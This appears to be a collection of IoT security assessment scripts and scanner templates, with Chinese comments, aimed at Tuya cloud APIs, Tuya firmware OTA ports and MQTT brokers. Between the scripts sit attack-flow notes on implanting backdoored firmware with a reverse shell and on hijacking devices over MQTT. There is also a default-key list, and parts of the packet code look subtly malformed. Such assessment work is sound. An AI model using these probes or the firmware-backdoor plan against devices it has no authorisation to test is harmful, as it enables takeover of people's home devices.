            if e.code == 401:
                print(f"[-] {path} 需要认证")
            elif e.code == 403:
                print(f"[-] {path} 禁止访问")
        except Exception as e:
            print(f"[-] {path} 连接失败: {e}")

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target> [region] [access_token]")
        print(f"  region: eu/us/cn/in (默认 eu)")
        print(f"示例: {sys.argv[0]} company123 eu <optional_token>")
        sys.exit(1)

    target = sys.argv[1]
    region = sys.argv[2] if len(sys.argv) >= 3 else "eu"
    access_token = sys.argv[3] if len(sys.argv) >= 4 else ""

    print(f"[*] 检测 CVE-2020-16142: {target} (region: {region})")
    result = check_tuya_unauth_access(target, region, access_token)

    print(f"\n{'='*50}")
    print(f"  Tuya 云平台安全检测结果:")
    print(f"  目标: {result['target']}")
    print(f"  区域: {result['region']}")
    print(f"  存在漏洞: {'是' if result['vulnerable'] else '否'}")
    print(f"  可访问路径: {len(result['accessible_paths'])}")
    print(f"  发现设备: {len(result['devices_found'])}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: CVE-2020-16142

info:
  name: Tuya Cloud Platform Unauthorized Access
  author: security-research
  severity: high
  description: |
    Tuya 云平台 API 存在认证绕过漏洞，攻击者可通过构造
    特定请求访问其他用户的设备数据和控制接口，
    影响数亿基于 Tuya 平台的 IoT 设备。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2020-16142
    cwe-id: CWE-287
  tags: cve,cve2020,tuya,iot,cloud,auth-bypass

http:
  - raw:
      - |
        GET /v1.0/devices HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{tuya_token}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "success"
          - "result"
          - "devices"
        condition: or
        part: body
      - type: word
        words:
          - "error"
          - "unauthorized"
          - "token"
        negative: true
        part: body

    extractors:
      - type: json
        name: device_count
        json:
          - "result | length"

正常流程：
设备 → 请求云端固件 → 云端返回固件包 → 设备验证签名 → 安装

攻击流程：
攻击者 → 伪造固件包（含恶意代码） → 通过本地网络推送
→ 设备不验证签名 → 安装恶意固件 → 完全控制设备

物理接触 → UART 连接（TX/RX/GND） → 波特率 115200
→ 获取 Boot Shell → 读取固件 → 修改配置

Phase 1: 设备识别
  - 识别目标设备使用的 Tuya 芯片型号（BK7231/RTL8710/W800）
  - 通过设备外壳、型号或网络指纹确认

Phase 2: 固件提取与分析
  - 使用 CloudCutter 或 UART 提取原始固件
  - 逆向分析固件中的加密密钥和认证逻辑
  - 识别固件签名验证机制

Phase 3: 恶意固件构建
  - 基于原始固件修改关键组件
  - 植入持久化后门（SSH/反向 Shell）
  - 重新打包固件

Phase 4: 固件推送
  - 利用 Tuya 本地配网协议推送恶意固件
  - 或通过 UART 直接刷写

#!/usr/bin/env python3
"""
Tuya CloudCutter 固件签名绕过风险评估脚本
仅用于授权安全评估 - 检测目标设备是否存在固件签名验证缺陷
"""

import sys
import socket
import struct
import hashlib
import urllib.request
import urllib.error
import ssl


TUYA_CHIP_FINGERPRINTS = {
    "BK7231": {"ports": [6668, 6667], "uart_baud": 115200},
    "RTL8710": {"ports": [8080, 8443], "uart_baud": 115200},
    "W800": {"ports": [6668], "uart_baud": 115200},
}

DEFAULT_KEYS = [
    "a]g8@BcK9LmNpQrS",
    "1234567890123456",
    "0000000000000000",
    "FFFFFFFFFFFFFFFF",
]

OTA_PORTS = [6668, 6667, 8080, 443, 80]


def check_ota_port(target: str, port: int, timeout: int = 5) -> bool:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((target, port))
        if result == 0:
            return True
        sock.close()
    except Exception:
        pass
    return False


def detect_tuya_chip(target: str) -> list:
    detected = []
    for chip, info in TUYA_CHIP_FINGERPRINTS.items():
        for port in info["ports"]:
            if check_ota_port(target, port):
                detected.append({"chip": chip, "port": port})
                print(f"[+] 可能检测到 {chip} 芯片（端口 {port} 开放）")
    return detected


def check_ota_firmware_update(target: str, port: int) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    scheme = "https" if port in (443, 8443) else "http"
    result = {"ota_endpoint_found": False, "unsigned_response": False}

    ota_paths = ["/ota", "/firmware", "/upgrade", "/v1/ota/update"]
    for path in ota_paths:
        url = f"{scheme}://{target}:{port}{path}"
        try:
            req = urllib.request.Request(url, method="GET")
            resp = urllib.request.urlopen(req, timeout=8, context=ctx)
            if resp.status in (200, 301, 302, 405):
                result["ota_endpoint_found"] = True
                print(f"[+] OTA 端点存在: {path} (HTTP {resp.status})")
                break
        except urllib.error.HTTPError as e:
            if e.code in (200, 301, 302, 405):
                result["ota_endpoint_found"] = True
                print(f"[+] OTA 端点存在: {path} (HTTP {e.code})")
                break
        except Exception:
            continue

    return result


def check_firmware_signature(target: str, port: int) -> dict:
    result = {
        "target": target,
        "chip_detected": [],
        "ota_exposed": False,
        "signature_check_missing": False,
        "risk_level": "unknown",
    }

    chips = detect_tuya_chip(target)
    result["chip_detected"] = chips

    if not chips:
        print("[-] 未检测到 Tuya 芯片指纹")

    for chip_info in chips:
        ota_result = check_ota_firmware_update(target, chip_info["port"])
        if ota_result["ota_endpoint_found"]:
            result["ota_exposed"] = True
            result["signature_check_missing"] = True
            result["risk_level"] = "HIGH"
            print(f"[!] {chip_info['chip']} OTA 端口暴露且可能缺少签名验证")
            break

    if result["risk_level"] == "unknown":
        result["risk_level"] = "LOW" if not chips else "MEDIUM"

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip>")
        print(f"示例: {sys.argv[0]} 192.168.1.50")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 评估 Tuya CloudCutter 固件签名绕过风险: {target}")
    result = check_firmware_signature(target, 6668)

    print(f"\n{'='*50}")
    print(f"  Tuya CloudCutter 风险评估:")
    print(f"  目标: {result['target']}")
    print(f"  检测到芯片: {[c['chip'] for c in result['chip_detected']]}")
    print(f"  OTA 暴露: {'⚠ 是' if result['ota_exposed'] else '否'}")
    print(f"  签名验证缺失: {'⚠ 可能' if result['signature_check_missing'] else '未知'}")
    print(f"  风险等级: {result['risk_level']}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: tuya-cloudcutter-firmware-risk

info:
  name: Tuya CloudCutter Firmware Signature Bypass Risk
  author: security-research
  severity: high
  description: |
    基于 Tuya 芯片（BK7231/RTL8710/W800）的 IoT 设备可能存在
    固件签名验证缺失风险，允许攻击者推送恶意固件实现完全控制。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.5
    cwe-id: CWE-345
  tags: tuya,cloudcutter,firmware,iot,smarthome,bk7231

network:
  - inputs:
      - data: "55aa00000000000000000000000000000000000000000000000000000000003c"
        type: hex
    host:
      - "{{Hostname}}"
    port: 6668
    read-size: 1024

    matchers:
      - type: word
        words:
          - "55aa"
          - "BK7231"
          - "Tuya"

  - inputs:
      - data: "55aa00000000000000000000000000000000000000000000000000000000003c"
        type: hex
    host:
      - "{{Hostname}}"
    port: 6667
    read-size: 1024

    matchers:
      - type: word
        words:
          - "55aa"

攻击者 → 连接目标 Broker (端口 1883/8883) → 无需认证
→ 订阅 # → 获取所有设备消息 → 分析设备控制命令
→ 发布恶意命令 → 控制目标设备

正常配置：
Device_A → 只能发布到 Device_A/commands
Device_B → 只能发布到 Device_B/commands

错误配置：
Device_A → 可发布到 Device_B/commands → 控制 Device_B
Device_A → 可订阅 Device_B/status → 获取 Device_B 状态

CONNECT broker.example.com:1883 HTTP/1.1
Host: broker.example.com:1883
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: <base64>
Sec-WebSocket-Version: 13

#!/usr/bin/env python3
"""
MQTT 协议层安全缺陷检测脚本
仅用于授权安全评估 - 检测 IoT 设备 MQTT 接口安全性
"""

import sys
import socket
import ssl
import struct
import time
import hashlib


MQTT_PORTS = [1883, 8883, 8884]
DEFAULT_TOPICS = [
    "tuya/#",
    "sonoff/#",
    "home/#",
    "device/#",
    "sensor/#",
    "+/status",
    "+/commands",
    "+/telemetry",
    "#",
]


def mqtt_connect_anonymous(host: str, port: int, timeout: int = 5) -> dict:
    result = {"accessible": False, "anonymous": False, "data": b""}
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)

        if port == 8883:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)

        sock.connect((host, port))

        client_id = "test_" + hashlib.md5(host.encode()).hexdigest()[:8]
        conn_flags = 0x02 | 0x01 | 0x02 | 0xC0
        connect_pkt = bytearray()
        connect_pkt.append(0x10)
        remaining = bytearray()
        remaining.extend(struct.pack(">H", 6))
        remaining.extend(b"MQTT")
        remaining.append(4)
        remaining.append(conn_flags)
        remaining.extend(struct.pack(">H", 60))
        remaining.extend(struct.pack(">H", len(client_id)))
        remaining.extend(client_id.encode())

        connect_pkt[0] = 0x10 | ((len(remaining) << 4) & 0xF0)
        if len(remaining) > 127:
            connect_pkt[0] = 0x10
            connect_pkt.append(len(remaining))
        else:
            connect_pkt[0] = 0x10 | (len(remaining) & 0x0F)

        sock.send(bytes(connect_pkt))
        time.sleep(1)

        response = sock.recv(1024)
        result["data"] = response

        if len(response) >= 2 and response[0] == 0x20:
            connack_reason = response[3] if len(response) > 3 else -1
            if connack_reason == 0:
                result["accessible"] = True
                result["anonymous"] = True
                print(f"[!] 匿名 MQTT 连接成功 (CONNACK: 0x{connack_reason:02x})")
            else:
                result["accessible"] = True
                print(f"[-] MQTT 需要认证 (CONNACK reason: 0x{connack_reason:02x})")

        sock.close()

    except socket.timeout:
        print(f"[-] 连接超时: {host}:{port}")
    except ConnectionRefusedError:
        print(f"[-] 连接被拒绝: {host}:{port}")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return result


def subscribe_topics(host: str, port: int, topics: list, timeout: int = 3) -> list:
    found_topics = []
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)

        if port == 8883:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)

        sock.connect((host, port))

        client_id = "sniff_" + hashlib.md5(host.encode()).hexdigest()[:8]
        conn_flags = 0x02 | 0x01 | 0x02 | 0xC0
        connect_pkt = bytearray()
        connect_pkt.append(0x10 | 0x02)
        remaining = bytearray()
        remaining.extend(struct.pack(">H", 6))
        remaining.extend(b"MQTT")
        remaining.append(4)
        remaining.append(conn_flags)
        remaining.extend(struct.pack(">H", 60))
        remaining.extend(struct.pack(">H", len(client_id)))
        remaining.extend(client_id.encode())
        connect_pkt.extend(struct.pack(">H", len(remaining)))
        connect_pkt.extend(remaining)
        sock.send(bytes(connect_pkt))
        time.sleep(0.5)
        sock.recv(1024)

        for topic in topics[:5]:
            sub_pkt = bytearray([0x82])
            topic_bytes = topic.encode()
            remaining_len = 2 + 2 + len(topic_bytes)
            sub_pkt.extend(struct.pack(">H", remaining_len))
            sub_pkt.extend(struct.pack(">H", 1))
            sub_pkt.extend(topic_bytes)
            sock.send(bytes(sub_pkt))
            time.sleep(0.3)

        try:
            while True:
                data = sock.recv(4096)
                if not data:
                    break
                if len(data) > 10:
                    print(f"[+] 收到 MQTT 消息 ({len(data)} bytes)")
                    found_topics.append(data[:200])
                    if len(found_topics) >= 3:
                        break
        except socket.timeout:
            pass

        sock.close()

    except Exception as e:
        print(f"[-] Topic 订阅失败: {e}")

    return found_topics


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.1 1883")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 1883
    print(f"[*] 检测 MQTT 协议层安全: {target}:{port}")

    conn_result = mqtt_connect_anonymous(target, port)

    topics_found = []
    if conn_result["anonymous"]:
        print("[*] 尝试订阅默认 Topic...")
        topics_found = subscribe_topics(target, port, DEFAULT_TOPICS)

    print(f"\n{'='*50}")
    print(f"  MQTT 安全检测结果:")
    print(f"  目标: {target}:{port}")
    print(f"  MQTT 服务开放: {'是' if conn_result['accessible'] else '否'}")
    print(f"  允许匿名连接: {'⚠ 是' if conn_result['anonymous'] else '否'}")
    print(f"  活跃 Topic 数: {len(topics_found)}")
    print(f"{'='*50}")


if __name__ == "__main__":
    main()

id: mqtt-unauthenticated-access

info:
  name: MQTT Unauthenticated Access
  author: security-research
  severity: high
  description: |
    IoT 设备的 MQTT Broker 允许匿名连接或使用弱认证，
    攻击者可订阅所有设备 Topic 并发布恶意控制命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.0
    cwe-id: CWE-306
  tags: mqtt,iot,smarthome,unauth,protocol

network:
  - inputs:
      - data: "10024d5154540402003c0009746573745f75736572"
        type: hex
    host:
      - "{{Hostname}}"
    port: "{{port}}"
    read-size: 1024
    payloads:
      port:
        - "1883"
        - "8883"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "20020000"
        type: hex

    extractors:
      - type: regex
        name: connack
        regex:
          - "\\x20\\x02\\x00\\x00"